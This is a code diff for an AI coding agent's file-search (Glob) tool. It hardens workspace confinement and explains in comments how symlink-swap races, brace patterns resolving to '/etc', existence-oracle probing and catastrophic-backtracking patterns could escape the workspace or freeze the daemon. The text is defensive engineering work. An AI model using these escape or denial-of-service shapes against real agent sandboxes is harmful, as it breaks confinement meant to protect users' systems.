- const realRoot = await safeResolveRoot(input?.path, cwd, cwdRealCache, cwdCacheTtl)
478
+ const hasPath = typeof input?.path === 'string' && input.path.length > 0
479
+ const validatedRoot = await safeResolveRoot(input?.path, cwd, cwdRealCache, cwdCacheTtl)
480
+ // The walk opens exactly one canonical path. The session root is resolved
481
+ // here; a `path` root takes its on-disk spelling (`realpath`) and is checked
482
+ // against the workspace again. Both happen before the walk is queued, so the
483
+ // walk never derives its own root. A path that does not exist is kept as
484
+ // given, so it behaves as before (no matches).
485
+ let realRoot
486
+ if (!hasPath) {
487
+ realRoot = await resolveSessionCwd(cwd, cwdRealCache, cwdCacheTtl)
488
+ } else {
489
+ try {
490
+ realRoot = await realpath(validatedRoot)
491
+ } catch (err) {
492
+ if (err?.code !== 'ENOENT') throw err
493
+ realRoot = validatedRoot
494
+ }
495
+ const cwdReal = await resolveSessionCwd(cwd, cwdRealCache, cwdCacheTtl)
496
+ if (!isPathWithin(realRoot, cwdReal)) {
497
+ return { content: `EACCES: path outside workspace: ${input.path} resolves to ${realRoot}, expected under ${cwdReal}`, isError: true }
498
+ }
499
+ }
500
+ // The search root is resolved once per walk: checks made during the walk
501
+ // resolve it from this map rather than from the shared, time-limited cache.
502
+ const walkCache = new Map([[resolve(realRoot), { resolved: realRoot, ts: Date.now() }]])
503
+ const walkCacheTtl = Infinity
260
504
 
261
- // Shell expansion of `for f in <pattern>` is what produces the file
262
- // paths. Pattern is now whitelist-validated above, so interpolation
263
- // is safe.
264
- const cmd = buildGlobCommand(pattern, realRoot)
265
- const result = await executeBash({
266
- command: cmd,
267
- cwd: realRoot,
268
- signal,
269
- timeoutMs: 30_000,
270
- env: buildSafeBashEnv(),
505
+ // #7918 — a brace alternative spanning a '/' (`{dup,nested/dup}`) has no
506
+ // representation in the per-segment compiled matcher below, which splits
507
+ // the pattern on '/' before parsing braces at all — see `expandBraces`'s
508
+ // doc for the full history. `hasSlashSpanningBrace` is a cheap gate: the
509
+ // ordinary, far more common non-spanning brace (`*.{ts,js}`) keeps the
510
+ // existing single-compile, single-walk path completely unchanged below
511
+ // (`patterns.length === 1`, `patterns[0] === pattern`); only a
512
+ // genuinely-spanning pattern pays for the multi-pattern expand-and-union
513
+ // path. #7951 — a `{X..Y}` range (`file{1..3}.txt`) has the SAME gap: it
514
+ // has no representation in the per-segment compiler either (which never
515
+ // expands `..`), and very often does not span a '/' at all, so
516
+ // `hasRangeBrace` is a second, independent gate alongside the first.
517
+ let patterns
518
+ if (hasSlashSpanningBrace(pattern) || hasRangeBrace(pattern)) {
519
+ const expanded = expandBraces(pattern)
520
+ if (expanded === null) {
521
+ return {
522
+ content: globPatternComplexityMessage(`more than ${GLOB_BRACE_EXPANSION_CAP} brace alternatives`),
523
+ isError: true,
524
+ }
525
+ }
526
+ // #7918 review — an alternative that expands to an ABSOLUTE path is
527
+ // dropped, not walked. `globPatternEscapeReason` refuses a pattern that
528
+ // STARTS with `/` or has one right after `{`/`,`, but concatenation can
529
+ // still produce one: `{,x}/etc/{p,q/r}` passes that check and expands to
530
+ // `/etc/p`. `compileCaseCheck` drops the empty leading segment, so
531
+ // walking it would search `etc/p` under the WORKSPACE — never an escape
532
+ // (the walk is rooted at `realRoot`), but a match `fs.glob` never makes:
533
+ // it looks for the real `/etc/p`, which confinement then withholds. A
534
+ // dropped alternative contributes nothing, which is exactly `fs.glob`'s
535
+ // confined answer for it. Duplicates are dropped too: two alternatives
536
+ // that expand to the same string would only walk the tree twice.
537
+ patterns = [...new Set(expanded.filter((p) => !p.startsWith('/')))]
538
+ } else {
539
+ patterns = [pattern]
540
+ }
541
+ // #7951 review — `globPatternComplexityReason`'s depth half counts every
542
+ // `{`/`}`, which bounds a BRACKET-OBLIVIOUS parser (bash in the container).
543
+ // This host's parser pairs braces bracket-AWARE, so a `}` inside `[...]`
544
+ // walks that counter down while the parser keeps nesting: `{,` x30 + `[` +
545
+ // `}` x30 + `]`, repeated, reached 480 real `alt` levels in 1,953
546
+ // characters with the counter never above 30, and overflowed the stack
547
+ // inside the matcher with less headroom (`--stack-size=250`). Same ceiling,
548
+ // measured the way THIS parser pairs, on exactly the strings the walk will
549
+ // compile. The raw pattern's reading is NOT enough: an alternative split out
550
+ // of a bracket expression puts the braces that expression hid into plain
551
+ // text — `{[,` + `{`x30 + `]}` reads one level raw, and its second
552
+ // alternative opens 30 — so 9 such groups read 1 level raw and expand to a
553
+ // 270-level `alt` nest (pinned in byok-tool-executor.test.js, "applied to
554
+ // every EXPANSION"). Linear in the expansion's total length; see
555
+ // `hostBraceNestingDepth`'s COST note for the measured bound.
556
+ if (patterns.some(hostBraceDepthExceeded)) {
557
+ return {
558
+ content: globPatternComplexityMessage(`"{" nesting deeper than ${GLOB_PATTERN_MAX_BRACE_DEPTH} levels`),
559
+ isError: true,
560
+ }
561
+ }
562
+
563
+ // #7341 — if the pattern NAMES a directory outright and that directory
564
+ // resolves outside the workspace, say so instead of returning "No matches".
565
+ //
566
+ // Containment itself is unchanged: every match is still confined below, and
567
+ // a symlink the caller merely DISCOVERED through a wildcard is still withheld
568
+ // in silence, because naming it would be the existence oracle that silence
569
+ // exists to prevent. This is the other case. When the caller writes
570
+ // `node_modules/**` and `node_modules` is a symlink into a pnpm store, a
571
+ // shared `.venv`, or a sibling repo, "No matches" is a baffling answer to a
572
+ // question the caller already knew the shape of — and it leaks nothing,
573
+ // because passing the very same path as `input.path` ALREADY returns exactly
574
+ // this error. It also makes `pattern` and `path` consistent rather than
575
+ // mysteriously different for the same directory.
576
+ //
577
+ // #7918 — scoped to a call that walks exactly ONE pattern (the unexpanded
578
+ // one, or the sole distinct result of an expansion): a brace-expanded
579
+ // multi-pattern call silently discovers-and-withholds an out-of-bounds
580
+ // alternative the same way a wildcard-reached symlink already does
581
+ // elsewhere in this function, rather than early-erroring on whichever
582
+ // alternative happens to resolve outside the workspace first.
583
+ if (patterns.length === 1) {
584
+ const literalPrefix = literalDirPrefix(patterns[0])
585
+ if (literalPrefix) {
586
+ await safeResolveRoot(literalPrefix, realRoot, walkCache, walkCacheTtl)
587
+ }
588
+ }
589
+
590
+ // Check the signal BEFORE the walk: the in-loop check is only reached when
591
+ // the walk yields, so an already-aborted call on a pattern that matches
592
+ // nothing used to run the whole tree and then report a cheerful "No matches".
593
+ // The container Glob has always had this pre-check; the host lacked it, which
594
+ // made the two backends answer differently for identical input.
595
+ if (signal?.aborted) return { content: 'Glob interrupted', isError: true }
596
+
597
+ // #7901 — the host no longer calls `fs.glob` (`node:fs/promises`'s `glob()`)
598
+ // at all. Its own segment matcher backtracks catastrophically on the exact
599
+ // pattern shapes `compileCaseCheck`'s DP was rewritten to handle safely
600
+ // (#7898) — measured 87 SECONDS for `*a*a*a*a*a*a*a*a*a*a*b.ts` against one
601
+ // 40-character near-miss real name, synchronously, no chroxy code involved,
602
+ // which froze the WHOLE DAEMON's event loop (every session, every WS
603
+ // client, the tunnel health checks) for the duration and which the 30s
604
+ // walk-timeout race below cannot interrupt (the timer cannot fire while the
605
+ // event loop it depends on is the thing blocked). `fs.glob` also honours no
606
+ // AbortSignal (#7356 — an aborted or timed-out call left the walk running,
607
+ // unbounded, after the tool result was already sent) and hard-codes
608
+ // case-INSENSITIVE candidate generation on macOS/Windows with a
609
+ // candidate-generation bug for negated bracket classes (#7899) that a
610
+ // post-hoc case re-check over its candidates could never recover, because
611
+ // the candidate fs.glob needed to produce in the first place was never
612
+ // generated.
613
+ //
614
+ // `walkGlob` below replaces it with a self-implemented `fs.promises.opendir`
615
+ // walk: at each real directory, it tracks which pattern-segment positions
616
+ // ("matchers", from `compileCaseCheck` — the SAME non-backtracking DP #7898
617
+ // added) are still reachable, and tests every real directory entry against
618
+ // them via `segmentMatches` — case-sensitively BY CONSTRUCTION, since it
619
+ // compares pattern text to the REAL on-disk name at the moment `opendir`
620
+ // reads it, never a candidate `fs.glob` echoed back. Confinement
621
+ // (`validateRawPathWithinCwd`, #6923's shared componentwise resolver) is
622
+ // checked before the walk either descends into, or reports a match for, any
623
+ // symlinked entry — so an out-of-bounds symlinked directory is never even
624
+ // opened, which is strictly stronger than the old post-hoc filter that
625
+ // enumerated it via `fs.glob` first and discarded the result afterward. The
626
+ // deadline/abort race below checks in with the walk at every directory
627
+ // entry (an `opendir` read is a real, yielding async operation), so the
628
+ // event loop keeps turning throughout, and stopping the walk is a matter of
629
+ // setting a flag the walk's own loop observes on its very next iteration —
630
+ // not, as with `fs.glob`, hoping a signal it ignores gets noticed.
631
+ // #7910 review round 2 (parity) — a pattern ending in `/` (any number of
632
+ // trailing slashes; `compileCaseCheck` already drops the empty segment(s)
633
+ // they produce, so the compiled `matchers` are identical either way) means
634
+ // DIRECTORIES ONLY, matching `fs.glob`'s own observed behavior exactly:
635
+ // verified directly, `sub/*/` matches a real subdirectory but not a plain
636
+ // file NOR a symlink pointing at a directory (`sub/dirlink -> inner` is
637
+ // excluded from `sub/*/`'s results) — so this is `dirent.isDirectory()`
638
+ // specifically, never "dir-like". #7918 — computed per EXPANDED pattern
639
+ // (`patterns`, `[pattern]` in the un-expanded common case), since a
640
+ // brace alternative can itself end in `/` independently of its siblings
641
+ // (`{a/,b}` — one directory-only, the other not).
642
+ const files = []
643
+ // ONE timer sets the flag and releases the race, so the two cannot resolve
644
+ // in either order — a second, independent timer would let the race finish
645
+ // before `state.stop` was assigned and report success on a timed-out walk.
646
+ // The abort listener shares that single release for the same reason.
647
+ const state = { stop: null, visited: 0 }
648
+ let releaseDeadline
649
+ const deadlineReached = new Promise((resolve) => { releaseDeadline = resolve })
650
+ const timeoutMs = globTimeoutMs()
651
+ const maxEntries = globMaxEntriesVisited()
652
+ const deadline = setTimeout(() => { state.stop = 'timed out'; releaseDeadline() }, timeoutMs)
653
+ deadline.unref?.()
654
+ const onAbort = () => { state.stop = 'interrupted'; releaseDeadline() }
655
+ signal?.addEventListener?.('abort', onAbort, { once: true })
656
+ // #7918 — one walk per expanded pattern, SHARING `state`/`files`/`maxEntries`
657
+ // across all of them: the deadline/abort/entries-visited budgets are for
658
+ // the WHOLE Glob call, not reset per alternative (a brace pattern with N
659
+ // alternatives must not get N times the time or entry budget). Each walk
660
+ // still checks `state.stop`/the collect ceiling before starting, so a
661
+ // deadline or abort hit partway through stops the REMAINING alternatives
662
+ // too, not just the one in flight.
663
+ // #7356 — take a walk slot before walking (see `globMaxConcurrent`). The
664
+ // deadline timer above is already running, so time spent queued counts
665
+ // against this call's budget; a call that times out or is aborted while
666
+ // still queued is dequeued below and never starts a walk.
667
+ const slot = acquireGlobWalkSlot(globMaxConcurrent())
668
+ async function collectAll() {
669
+ const release = await slot.granted
670
+ if (release === null) return
671
+ try {
672
+ for (const p of patterns) {
673
+ if (state.stop !== null || files.length >= GLOB_COLLECT_CEILING) return
674
+ const { matchers } = compileCaseCheck(p)
675
+ const directoryOnly = p.endsWith('/')
676
+ await walkGlob({ realRoot, matchers, cwdRealCache: walkCache, cwdCacheTtl: walkCacheTtl, state, results: files, maxEntries, directoryOnly })
677
+ }
678
+ } finally {
679
+ release()
680
+ }
681
+ }
682
+ const collect = collectAll()
683
+ // Attach a catch BEFORE the race: if the walk rejects after the deadline has
684
+ // already settled it, the rejection would otherwise be unhandled.
685
+ let walkError = null
686
+ collect.catch((err) => { walkError = err })
687
+ try {
688
+ await Promise.race([collect, deadlineReached])
689
+ } catch (err) {
690
+ walkError = err
691
+ }
692
+ clearTimeout(deadline)
693
+ signal?.removeEventListener?.('abort', onAbort)
694
+ slot.cancel()
695
+ if (walkError) {
696
+ return { content: `Glob failed: ${walkError?.message || String(walkError)}`, isError: true }
697
+ }
698
+ if (state.stop === 'timed out') {
699
+ return { content: `Glob timed out after ${timeoutMs}ms`, isError: true }
700
+ }
701
+ if (state.stop === 'interrupted') return { content: 'Glob interrupted', isError: true }
702
+ if (state.stop === 'too many entries') {
703
+ return {
704
+ content: `Glob visited more than ${maxEntries} filesystem entries without finishing — narrow the pattern or use "path"`,
705
+ isError: true,
706
+ }
707
+ }
708
+ // #7357 — a match containing an embedded newline cannot be told apart, in a
709
+ // '\n'-joined text result, from two separate matches: `sub/deep/nl\nSECRET`
710
+ // reads back as `sub/deep/nl` and `SECRET` on two lines, and the second of
711
+ // those is a path that does not exist as spelled. NUL is the only byte a
712
+ // POSIX filename cannot contain, but the tool_result handed back to the
713
+ // model is plain '\n'-joined text (not NUL-delimited), so there is no
714
+ // encoding that stays both unambiguous AND a single text line. Dropping is
715
+ // the one option of the two the issue names ("emitted unambiguously or
716
+ // skipped, never split") that needs no new escape syntax for the model to
717
+ // learn, and it is applied identically here and in the container path
718
+ // (docker-byok-session.js's `_containerGlob`) so the two backends agree on
719
+ // what "the same input" means. This is a display-format decision, not a
720
+ // containment one — the match is not a security-relevant withholding, so it
721
+ // gets no daemon-log line the way an escaping match does.
722
+ let kept = files.filter((f) => !f.includes('\n'))
723
+ // #7918 — two DIFFERENT brace alternatives can match the SAME real path
724
+ // (`{*/dup,nested/*}` — both alternatives match `nested/dup`), and each
725
+ // alternative's `walkGlob` call pushes into the SAME shared `files` array,
726
+ // so a multi-pattern call can push the same relPath twice where a single
727
+ // pattern's own walk never could (one walk visits each real directory at
728
+ // most once, per `visitedDirs`). Scoped to `patterns.length > 1` so the
729
+ // overwhelmingly common single-pattern path pays no Set-construction cost
730
+ // for a case that cannot occur there.
731
+ if (patterns.length > 1) kept = Array.from(new Set(kept))
732
+ // A withheld match is reported as no match, with no count and no marker.
733
+ // Anything that distinguishes "matched, but outside" from "matched nothing"
734
+ // is an existence ORACLE: a workspace that contains `esc -> /` turns one bit
735
+ // per call into filesystem enumeration, on a tool that is auto-approved in
736
+ // `acceptEdits`. The confinement is proven by tests, not by a runtime marker.
737
+ if (kept.length === 0) return { content: `No matches for ${pattern}`, isError: false }
738
+
739
+ // Sort. Every shell glob does, and `walkGlob` yields in filesystem
740
+ // traversal order (deterministic-but-different from a shell's, same as the
741
+ // old `fs.glob`-based walk was), which would reshuffle the whole listing for
742
+ // a one-file change and destroy the alphabetical grouping that makes a long
743
+ // result readable.
744
+ kept.sort()
745
+
746
+ // TRUNCATION IS ANNOUNCED. The oracle argument that justifies silence for
747
+ // withheld matches does not apply here: a count of in-workspace matches
748
+ // reveals nothing about anything outside it, and silently dropping paths
749
+ // makes Glob wrong by omission with nothing to tell the model.
750
+ if (kept.length > GLOB_MAX_MATCHES) {
751
+ const total = files.length >= GLOB_COLLECT_CEILING ? `${kept.length}+` : `${kept.length}`
752
+ const shown = kept.slice(0, GLOB_MAX_MATCHES)
753
+ shown.push(`[truncated: showing ${GLOB_MAX_MATCHES} of ${total} matches — narrow the pattern or use "path"]`)
754
+ return { content: shown.join('\n'), isError: false }
755
+ }
756
+ return { content: kept.join('\n'), isError: false }
757
+ }
758
+
759
+ /**
760
+ * #7901 — the self-implemented replacement for `fs.glob`'s own walk+match.
761
+ * Walks `realRoot` one real directory at a time via `fs.promises.opendir`,
762
+ * tracking which positions in `matchers` (from `compileCaseCheck`) are still
763
+ * reachable — the same array-wildcard DP `caseCheckPasses` already runs
764
+ * post-hoc over a KNOWN full path, here computed INCREMENTALLY, one real
765
+ * directory level at a time, so it can decide which subdirectories are worth
766
+ * opening at all instead of enumerating everything and filtering afterward.
767
+ *
768
+ * `active`/`next` are boolean arrays of length `matchers.length + 1`; index
769
+ * `k` means "matchers[0..k) have successfully aligned with every real
770
+ * segment consumed so far". `closeGlobstars` propagates a `**` matcher's
771
+ * "matches zero segments" case (so `k` reachable via a `**` at position `k`
772
+ * makes `k+1` reachable too, with no directory read needed) — the same
773
+ * prefix-OR trick `caseCheckPasses` uses for `**`, just applied as the walk
774
+ * descends instead of after the fact.
775
+ *
776
+ * MATCH: whenever `next[matchers.length]` is true for an entry, the pattern
777
+ * is fully satisfied — that entry (file or directory, matching `fs.glob`'s
778
+ * own behavior of returning either) is a result. DESCEND: whenever `next` has
779
+ * any true bit at an index below `matchers.length`, there is a still-
780
+ * incomplete (or still-`**`-absorbing) alignment that a deeper real segment
781
+ * could complete, so a directory (or a symlink that might resolve to one) is
782
+ * opened; an ordinary file never is, at zero extra cost.
783
+ *
784
+ * SECURITY (#7341/#6923, carrying forward into #7901) — a symlinked entry is
785
+ * realpath-validated against `realRoot` via the shared componentwise resolver
786
+ * BEFORE it is either reported as a match or descended into. An entry whose
787
+ * real target resolves outside the workspace is withheld silently (never
788
+ * matched, never opened) — stronger than the predecessor's post-hoc filter,
789
+ * which let `fs.glob` enumerate an out-of-bounds symlinked directory's
790
+ * contents first and discarded the result afterward; this walk never opens
791
+ * it. FAIL-CLOSED: a symlink that cannot be resolved (ELOOP, EACCES, a depth
792
+ * bomb) is withheld the same way.
793
+ *
794
+ * SECURITY (review of #7901, TOCTOU — closed properly in round 2) — an
795
+ * ordinary (non-symlink-AT-LISTING-TIME) directory is NOT trusted on
796
+ * `dirent`'s type alone before being opened: `fs.promises.opendir` batches
797
+ * several dirents per underlying `readdir(2)` call, and this walk is
798
+ * strictly sequential within a directory, so an entry late in a large
799
+ * listing is reached only after every earlier one (including a deep
800
+ * subtree) has been fully processed — the type Node captured for it can be
801
+ * stale by then. Chroxy fans every tool block a model approves in one turn
802
+ * out CONCURRENTLY (`byok-session.js`'s `Promise.all`, #7356), so a Bash
803
+ * call approved in the SAME turn as a Glob call can replace a plain
804
+ * directory with a symlink to anywhere while this walk is still busy
805
+ * elsewhere in the tree. Measured directly (byok-tool-executor.test.js): an
806
+ * unpatched walk over a 60-sibling directory followed exactly such a swap
807
+ * straight into the attacker's target and returned matches from OUTSIDE the
808
+ * workspace, reported under a workspace-looking `relPath`. A first attempt
809
+ * at closing this (round 2's `resolveNonSymlinkDescend`) re-`lstat`ed
810
+ * immediately before returning a path string for `walk` to `opendir` — but
811
+ * that is STILL check-then-use: the two calls are independent, so a swap
812
+ * landing in the gap between them is exactly as invisible as one landing
813
+ * before the check. A round-2 REFINEMENT (`resolveNonSymlinkDescend` folded
814
+ * into an early version of `openVerifiedDirForDescend`) collapsed that into
815
+ * one `opendir` immediately re-verified by a second `lstat` on the same
816
+ * path — narrower, but still an ABA: a swap-to-symlink before the `opendir`
817
+ * and a swap-BACK before the second `lstat` both went undetected, because
818
+ * neither `lstat` ever inspected the object `opendir` had actually opened.
819
+ * `walk`'s call site now routes every directory-shaped descent —
820
+ * symlink-flagged or not — through {@link openVerifiedDirForDescend}, which
821
+ * opens with `O_NOFOLLOW` and verifies identity via `fstat` on the opened
822
+ * handle itself (never a fresh path lookup), then reads entries from that
823
+ * SAME verified object where the platform allows it, and hands `walk` the
824
+ * already-open, already-verified `Dir` directly — no path is ever handed
825
+ * back for a second, disconnected open to (not) re-check. See that
826
+ * function's doc for how the open and the listing are bound together.
827
+ *
828
+ * SECURITY (#7355/#7899) — case-sensitive by construction: every comparison
829
+ * is `segmentMatches(matcher, dirent.name)` against the REAL name `opendir`
830
+ * just read, never a pattern-echoed candidate, so there is no case-folding
831
+ * layer left to disagree with (host and container Glob, and Claude Code's own
832
+ * Glob, now agree on every pattern shape a fuzz found disagreement on,
833
+ * negated bracket classes included — `segmentMatches`/`advanceToken` never
834
+ * had a nocase mode to begin with).
835
+ *
836
+ * DOT HANDLING — a bare wildcard/class token never stands for a real
837
+ * segment's leading dot (`advanceToken`'s dot guard, `parseSegmentTokens`'s
838
+ * doc), matching `fs.glob`'s own observed default exactly (verified directly
839
+ * against Node 22's `glob()`): `.env*` and `.[a-z]*` still find `.envrc`,
840
+ * `*.ts`/`?env`/most bracket classes do not, and `*` never lists a
841
+ * dotfile/dotdir unless a pattern segment explicitly spells a leading
842
+ * literal dot for that level. `**` follows the SAME rule for its own zero-
843
+ * width closure (a bare trailing `**` never lists a dotfile/dotdir either),
844
+ * but #7912 — verified directly against Node's own `internal/fs/glob.js`
845
+ * GLOBSTAR algorithm, not merely observed — its CROSSING behavior (whether
846
+ * it absorbs a dot-named directory on the way to a deeper match) is a
847
+ * narrower exception: a dot-named entry is absorbed exactly when the
848
+ * pattern segment immediately after this run of `**`s explicitly matches
849
+ * that entry's own name (`nextNonGlobstar`, below) — so `**\/.*` crosses
850
+ * `.hidden` to reach `.hidden/.deepdot` (the wildcard `.*` matches
851
+ * `.hidden`'s own name too), while `**\/*` never crosses any dot directory
852
+ * at all (a bare `*` matches no dot name, ever) and `**\/.deepdot` (a
853
+ * DIFFERENTLY-named literal tail) does not cross `.hidden` either, because
854
+ * `.deepdot` does not match `.hidden`'s name — see `walkGlob`'s per-entry
855
+ * globstar handling for the exact mechanism.
856
+ *
857
+ * BOUNDS — the caller's deadline/abort race is checked (`state.stop`) at the
858
+ * top of every directory and before every entry, so an `opendir` read (a
859
+ * real, yielding async op) is never more than one entry away from noticing a
860
+ * stop. On the macOS/win32 path-based fallback (#7919) entries arrive in
861
+ * verification rounds of up to FALLBACK_VERIFY_BATCH, so a stop can wait for
862
+ * the round in progress to finish (at most one round's concurrent lstats plus
863
+ * one parent re-check) before the next per-entry check sees it.
864
+ * `GLOB_COLLECT_CEILING` bounds MATCHES the same way the old walk did;
865
+ * `maxEntries` (`globMaxEntriesVisited()`) additionally bounds total entries
866
+ * VISITED regardless of match count, for the #7356 shape (an enormous tree, almost no
867
+ * matches) where the collect ceiling never engages.
868
+ *
869
+ * `__testDescendSeam` and `__testForcePathFallback` are TEST-ONLY: the seam is
870
+ * awaited at the phases listed on openVerifiedDirForDescend, and the flag
871
+ * routes Linux through the macOS/win32 fallback so its tests bite on Linux CI.
872
+ * The production caller (runGlob) passes neither.
873
+ *
874
+ * @param {{realRoot: string, matchers: Array, cwdRealCache: Map, cwdCacheTtl: number, state: {stop: string|null, visited: number}, results: string[], maxEntries: number, directoryOnly?: boolean, __testDescendSeam?: (target: string, phase: string, names?: string[]) => Promise<void>, __testForcePathFallback?: boolean}} args
875
+ */
876
+ async function walkGlob({ realRoot, matchers, cwdRealCache, cwdCacheTtl, state, results, maxEntries, directoryOnly, __testDescendSeam, __testForcePathFallback = false }) {
877
+ const m = matchers.length
878
+ // SECURITY/DoS (#7910 review round 2) — real directories on the CURRENT
879
+ // descent path (root down to here), keyed by `dev:ino`. A plain filesystem
880
+ // tree can never revisit an ancestor directory — that would require an
881
+ // actual cycle — so tracking every descent unconditionally costs nothing
882
+ // there and only ever REFUSES when a symlink's resolved target is already
883
+ // an ancestor of the entry naming it, which is exactly the shape measured
884
+ // directly here: `**/selfloop/**` against `selfloop -> .` (self-referential)
885
+ // grew UNBOUNDED on the round-2 code (200+ matches, no cap but `maxEntries`/
886
+ // the componentwise resolver's own symlink-depth ceiling) because the
887
+ // existing `detHandoff`/`canDescendSymlink` gate answers "was this entry
888
+ // named determinately", not "have we already been here" — a determinate
889
+ // literal segment re-matching the SAME repeating name at every depth of its
890
+ // own self-loop sails through that gate every time. Stack discipline (added
891
+ // in `walk`, removed in its `finally`) means a real DIAMOND — the same real
892
+ // directory reached via two separate, non-overlapping symlinks elsewhere in
893
+ // the tree — is not spuriously refused; only an actual ancestor-revisit is.
894
+ const visitedDirs = new Set()
895
+ // `{ bigint: true }` stats (see `openVerifiedDirForDescend`) — a plain
896
+ // Number would lose precision for a large volume's inode, and this key
897
+ // needs exact equality: a false COLLISION (two different directories
898
+ // hashing the same key) would wrongly refuse a legitimate descent — safe
899
+ // (fail-closed), but not correct — while precision here is free.
900
+ function dirKey(stat) { return `${stat.dev}:${stat.ino}` }
901
+ // #7910 review (parity/DoS) — precomputed ONCE per Glob call: which matcher
902
+ // positions are DETERMINATE segments (no bare `*`/`?` anywhere in the
903
+ // segment — a fully-literal segment, a bracket class, or a brace whose every
904
+ // alternative is itself determinate; `**` is never determinate). Verified
905
+ // directly against Node 22's `glob()`: it follows a symlinked directory, and
906
+ // lets a trailing `**` close with zero width onto a non-directory entry,
907
+ // when the segment that named that entry is determinate (`src-link/*`,
908
+ // `[s]rc-link/*`, `{src-link,x}/*`, `plainfile.txt/**`, `[p]lainfile.txt/**`
909
+ // all do) but refuses when it is not (`?rc-link/*`, `*/*`, `*.txt/**`,
910
+ // `pl?infile.txt/**` do not) — see `walk`'s two call sites below.
911
+ const determinateSegment = matchers.map((tok) => tok !== CASE_CHECK_GLOBSTAR && isDeterminateSegmentTokens(tok))
912
+
913
+ // #7912 — precomputed ONCE per Glob call, alongside `determinateSegment`:
914
+ // for each `**` position `k`, the index of the first REAL (non-`**`)
915
+ // matcher after it, skipping over any further consecutive `**`s, or `m`
916
+ // when none remains (a trailing `**`, or a run of `**`s with nothing after
917
+ // it). Drives the dot-crossing rule just below — see its doc.
918
+ const nextNonGlobstar = matchers.map((tok, k) => {
919
+ if (tok !== CASE_CHECK_GLOBSTAR) return -1
920
+ let j = k + 1
921
+ while (j < m && matchers[j] === CASE_CHECK_GLOBSTAR) j++
922
+ return j
923
+ })
924
+
925
+ // #7916 — a `**`-free pattern never needs the ancestor refusal: its
926
+ // matchers each consume one real path segment, so depth is bounded by the
927
+ // pattern's length. That needs no flag here: the refusal below only applies
928
+ // while a `**` is active in the child's index set (`hasActiveGlobstar`),
929
+ // which a `**`-free pattern never has. Breadth is bounded by `maxEntries`
930
+ // and the deadline, as for an acyclic symlink lattice (#7918 review).
931
+
932
+ function closeGlobstars(active) {
933
+ for (let k = 0; k < m; k++) {
934
+ if (active[k] && matchers[k] === CASE_CHECK_GLOBSTAR) active[k + 1] = true
935
+ }
936
+ return active
937
+ }
938
+
939
+ function hasActiveGlobstar(active) {
940
+ for (let k = 0; k < m; k++) if (active[k] && matchers[k] === CASE_CHECK_GLOBSTAR) return true
941
+ return false
942
+ }
943
+
944
+ function mergeActive(a, b) {
945
+ return a.map((v, i) => v || b[i])
946
+ }
947
+
948
+ function shouldStop() {
949
+ return state.stop !== null || results.length >= GLOB_COLLECT_CEILING
950
+ }
951
+
952
+ async function walk(dirAbs, relPrefix, active, preOpened) {
953
+ // `preOpened` (`{dh, key, fh}`) — #7910 review round 2 (TOCTOU) — every
954
+ // recursive call below already went through `openVerifiedDirForDescend`,
955
+ // which opened AND identity-verified this exact directory itself;
956
+ // opening it a SECOND time here, by path, would throw that verification
957
+ // away and reintroduce the very race it exists to close (see that
958
+ // function's doc). Only the top-level call (the walk's `realRoot`) arrives
959
+ // without one and opens the root through the same function. A pre-opened handle must still be
960
+ // closed on the early-stop path below — it is already-open regardless of
961
+ // whether `walk` goes on to use it. `fh` (#7910 review round 3) — present
962
+ // only on the platforms where `dh` was reopened from an already-verified
963
+ // fd (see `openVerifiedDirForDescend`'s "ABA" doc) — must stay open for
964
+ // exactly as long as `dh` is in use, since `dh`'s entries are read
965
+ // through it, and is closed alongside `dh` everywhere `dh` is closed.
966
+ if (shouldStop()) {
967
+ if (preOpened) {
968
+ await preOpened.dh.close().catch(() => {})
969
+ if (preOpened.fh) await preOpened.fh.close().catch(() => {})
970
+ }
971
+ return
972
+ }
973
+ let dh = preOpened?.dh
974
+ let key = preOpened?.key
975
+ let fh = preOpened?.fh
976
+ if (!dh) {
977
+ // The top-level (root) call. `dirAbs` is the canonical path the caller
978
+ // validated. The root is opened like any other directory: no-follow open, identity from the opened
979
+ // descriptor, and (where the platform has /proc/self/fd) listing and
980
+ // child lookups through that descriptor. Its key is registered so a
981
+ // symlink ANYWHERE in the tree that resolves back to it is also caught
982
+ // as a cycle, not just a loop among its descendants (#7910 review
983
+ // round 2).
984
+ const rootOpen = await openVerifiedDirForDescend(
985
+ dirAbs, '', realRoot, cwdRealCache, cwdCacheTtl, true, visitedDirs, dirKey, __testDescendSeam, __testForcePathFallback, null,
986
+ )
987
+ if (!rootOpen) return
988
+ dirAbs = rootOpen.path
989
+ dh = rootOpen.dh
990
+ key = rootOpen.key
991
+ fh = rootOpen.fh
992
+ }
993
+ // Only the call that ADDED the key may remove it. A re-entry into an
994
+ // ancestor (a crossing, or a `**`-free chain) arrives with the key already
995
+ // held by the call further up the path; deleting it on the way out would
996
+ // leave the parent still inside that directory with no guard, and every
997
+ // later sibling link would read `ancestor: false` (measured: 3 self-loops
998
+ // under `**/[abc]/**` went 6ms -> a 30s deadline).
999
+ const ownsKey = !visitedDirs.has(key)
1000
+ visitedDirs.add(key)
1001
+ try {
1002
+ for await (const dirent of dh) {
1003
+ if (shouldStop()) return
1004
+ state.visited++
1005
+ if (state.visited > maxEntries) { state.stop = 'too many entries'; return }
1006
+
1007
+ const name = dirent.name
1008
+ const next = new Array(m + 1).fill(false)
1009
+ const isSymlink = dirent.isSymbolicLink()
1010
+ // #7916 — see `crossSet`'s doc below.
1011
+ const crossSet = new Array(m + 1).fill(false)
1012
+ let canCross = false
1013
+ // `detHandoff[k+1]` — #7910 review — true when `next[k+1]` was set
1014
+ // THIS STEP by a determinate, non-globstar segment explicitly
1015
+ // matching `name` (as opposed to a `**`'s own absorption, or a
1016
+ // non-determinate `*`/`?` match). Drives both call sites below.
1017
+ const detHandoff = new Array(m + 1).fill(false)
1018
+ // Did the TRAILING globstar (if any) legitimately absorb THIS entry's
1019
+ // own name via its dot-guarded absorption test? If so, it consumed
1020
+ // the entry itself and needs no determinate source to close on it —
1021
+ // see the closure-gate doc below.
1022
+ let globstarAbsorbedLast = false
1023
+ for (let k = 0; k < m; k++) {
1024
+ if (!active[k]) continue
1025
+ if (matchers[k] === CASE_CHECK_GLOBSTAR) {
1026
+ // #7912 — `**` does not, in general, absorb a hidden entry (see
1027
+ // parseSegmentTokens's DOT HANDLING doc; matches fs.glob's own
1028
+ // default of never listing a dotfile/dotdir at any depth for a
1029
+ // BARE `**`). The one exception, verified directly against Node
1030
+ // 22's `glob()` (`internal/fs/glob.js`'s own GLOBSTAR handling —
1031
+ // `isDot`/`matchesDot`/`nextNonGlobIndex`): a dot-named entry IS
1032
+ // visible to `**` when the pattern segment immediately following
1033
